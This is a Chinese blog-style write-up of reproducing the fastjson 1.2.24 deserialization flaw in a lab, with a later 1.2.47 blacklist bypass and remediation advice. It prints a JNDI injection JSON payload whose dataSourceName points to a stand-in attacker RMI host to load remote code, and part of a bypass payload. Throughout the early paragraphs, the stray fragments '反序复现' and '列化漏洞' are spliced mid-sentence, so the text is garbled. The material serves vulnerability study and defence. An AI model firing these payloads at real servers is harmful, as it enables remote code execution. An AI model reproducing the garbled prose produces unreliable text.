fastjson反序列化漏洞复现
凌晨两点,反序复现我盯着屏幕上的列化漏洞报错日志,第无数次确认了那个JNDI注入的反序复现payload确实打进了目标服务器。这不是列化漏洞什么电影桥段,而是反序复现我在本地环境复现fastjson 1.2.24版本漏洞时的真实场景。这个2017年就被爆出的列化漏洞漏洞,直到今天还在不少老系统里躺着。反序复现
复现环境其实很简单:一个Spring Boot应用,列化漏洞依赖fastjson 1.2.24,反序复现对外暴露了一个接收JSON的列化漏洞接口。攻击者只需要在JSON中构造一个特殊的反序复现@type字段,就能让fastjson在解析时自动实例化任意类。列化漏洞我用的反序复现payload是经典的JNDI注入链——通过com.sun.rowset.JdbcRowSetImpl这个类,把dataSourceName指向攻击者控制的列化漏洞RMI服务。
具体操作分三步。反序复现第一步,在攻击机上启动一个恶意RMI服务,绑定一个返回恶意引用对象的远程类。第二步,向目标接口发送构造好的JSON:{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker:1099/exploit","autoCommit":true}。第三步,观察目标服务器是否回连到攻击机的RMI端口。如果看到连接记录,说明漏洞触发成功。
我第一次复现时卡在了第二步——目标服务器一直不回连。排查后发现是JDK版本问题,我的实验环境用了JDK 8u121之后的版本,默认禁用了JNDI远程类加载。换成JDK 8u111后,payload立刻生效,服务器上弹出了计算器。这个细节提醒我,漏洞复现不是照抄payload就完事,环境差异往往决定成败。
这个漏洞的本质是fastjson的autoType机制没有做好黑白名单校验。开发者为了兼容各种框架,默认允许任意类名反序列化,结果把JNDI注入这类攻击面直接暴露给了攻击者。更麻烦的是,后续版本虽然加了黑名单,但安全研究者不断绕过——从1.2.25到1.2.83,几乎每个大版本都有新的绕过链。
有次我在测试一个内网系统,发现它用的是fastjson 1.2.47版本。这个版本有个神奇的绕过方式:先加载一个java.lang.Class缓存类,再通过它间接加载被黑名单拦截的类。我当时试了不下十种payload,最后用{ "@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}这种嵌套写法才成功。这种攻防博弈,真是道高一尺魔高一丈。
修复建议其实不复杂:升级到最新版本,或者关闭autoType支持。但现实是很多老业务依赖fastjson的自动类型转换功能,直接关掉会导致功能异常。我见过一个金融项目,因为历史原因还在用1.2.24,安全团队只能通过WAF规则临时拦截可疑的@type字段,治标不治本。
整个复现过程给我最大的感触是:漏洞利用并不需要多高深的技术,关键是理解框架的设计缺陷和Java生态的底层机制。fastjson这个案例,本质上是类型信任边界没守住。任何涉及用户输入反序列化的场景,都应该默认不信任输入数据,而不是依赖不断打补丁的黑名单。
写完这篇记录,我又检查了一遍自己的测试环境,确认没有把恶意服务暴露到公网。漏洞复现的目的是防御,不是攻击。下次再碰到类似问题,我大概会先问一句:这个JSON真的需要支持任意类型吗?